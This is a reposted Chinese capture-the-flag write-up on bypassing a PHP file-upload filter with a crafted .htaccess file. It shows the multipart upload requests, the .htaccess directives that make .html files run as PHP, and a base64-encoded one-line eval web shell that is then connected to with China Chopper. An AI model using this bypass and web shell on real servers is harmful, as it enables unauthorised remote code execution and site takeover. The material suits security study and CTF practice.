0


文件上传漏洞之.htaccess文件解析漏洞

文件上传漏洞之.htaccess文件解析漏洞

文章目录

前置知识

.htaccess文件(或者"分布式配置文件"),全称是Hypertext Access(超文本入口)。提供了针对目录改变配置的方法, 即,在一个特定的文档目录中放置一个包含一个或多个指令的文件, 以作用于此目录及其所有子目录。作为用户,所能使用的命令受到限制。管理员可以通过Apache的AllowOverride指令来设置。

  htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置。通过htaccess文件,可以帮我们实现:网页301重定向、自定义404错误页面、改变文件扩展名、允许/阻止特定的用户或者目录的访问、禁止目录列表、配置默认文档等功能。
  Unix、Linux系统或者是任何版本的Apache Web服务器都是支持.htaccess的,但是有的主机服务商可能不允许你自定义自己的.htaccess文件。
  总之,.htaccess可以帮我们实现包括:文件夹密码保护、用户自动重定向、自定义错误页面、改变你的文件扩展名、封禁特定IP地址的用户、只允许特定IP地址的用户、禁止目录列表,以及使用其他文件作为index文件等一些功能。

  需要注意,.htaccess文件的作用域为其所在目录与其所有的子目录,若是子目录也存在.htaccess文件,则会覆盖父目录的.htaccess效果。

漏洞利用

环境来源: Dest0g3 520迎新赛 WEB funny_upload

打开链接,是一个文件上传的功能。

在这里插入图片描述

尝试上传

.php

文件,以及进行后缀名绕过均无效,发现服务器进行了过滤。

在这里插入图片描述

这里尝试上传

.htaccess

文件,但是服务器对文件内容也有校验,过滤了php的标签

<?


因此这里使用auto_append_file和php伪协议组合进行绕过。

首先上传

.htaccess

文件

Content-Disposition: form-data;name="file";filename=".htaccess"
Content-Type: image/jpeg

AddType application/x-httpd-php .html
php_value auto_append_file "php://filter/convert.base64-decode/resource=a.html"

下面介绍一下上传的文件内容。

(1).htaccess参数

常见配法有以下几种:

AddHandler php5-script .jpg

AddType application/x-httpd-php .jpg

Sethandler application/x-httpd-php
Sethandler

将该目录及子目录的所有文件均映射为php文件类型。

Addhandler

使用 php5-script 处理器来解析所匹配到的文件。

AddType

将特定扩展名文件映射为php文件类型。

(2)auto_append_file参数

使用auto_prepend_file与auto_append_file在所有页面的顶部与底部require文件。

php.ini中有两项:

auto_prepend_file

在页面顶部加载文件

auto_append_file

在页面底部加载文件

使用这种方法可以不需要改动任何页面,当需要修改顶部或底部require文件时,只需要修改auto_prepend_file与auto_append_file的值即可。

在需要顶部或底部加载文件的文件夹中加入.htaccess文件,内容如下:

php_value auto_prepend_file "/home/fdipzone/header.php"
php_value auto_append_file "/home/fdipzone/footer.php"

这样在指定.htaccess的文件夹内的页面文件才会加载

/home/fdipzone/header.php

/home/fdipzone/footer.php

,其他页面文件不受影响。

使用.htaccess设置,比较灵活,不需要重启服务器,也不需要管理员权限,唯一缺点是目录中每个被读取和被解释的文件每次都要进行处理,而不是在启动时处理一次,所以性能会有所降低。

回到本题,上传:

在这里插入图片描述

上传成功,那其实就是说咱们实现了两个事情:
(在

uploads/c47b21fcf8f0bc8b3920541abd8024fd/

目录下)
1、

html

文件都会被当作

php

文件解析。
2、

php

文件的底部都会被加上

a.html

文件的内容Base64解码后的东西。

因此下一步需要再上传一个

a.html

文件。

Content-Disposition: form-data;name="file";filename="a.html"
Content-Type: image/jpeg

PD9waHAgQGV2YWwoJF9QT1NUWydwYXNzJ10pOz8+

在这里插入图片描述

访问页面,成功上传。

在这里插入图片描述

菜刀直接连即可。

在这里插入图片描述

参考链接

htaccess_百度百科

Dest0g3 520迎新赛 writeup (misc部分 + web部分)_shu天的博客-CSDN博客

.htaccess文件上传解析漏洞_mmzkyl的博客-CSDN博客_htaccess文件上传解析漏洞

PHP中auto_prepend_file与auto_append_file用法实例分析_php技巧_脚本之家

标签: apache php 服务器

本文转载自: https://blog.csdn.net/sorryagain/article/details/125080205
版权归原作者 2ha0yuk7on. 所有, 如有侵权,请联系我们删除。

“文件上传漏洞之.htaccess文件解析漏洞”的评论:

还没有评论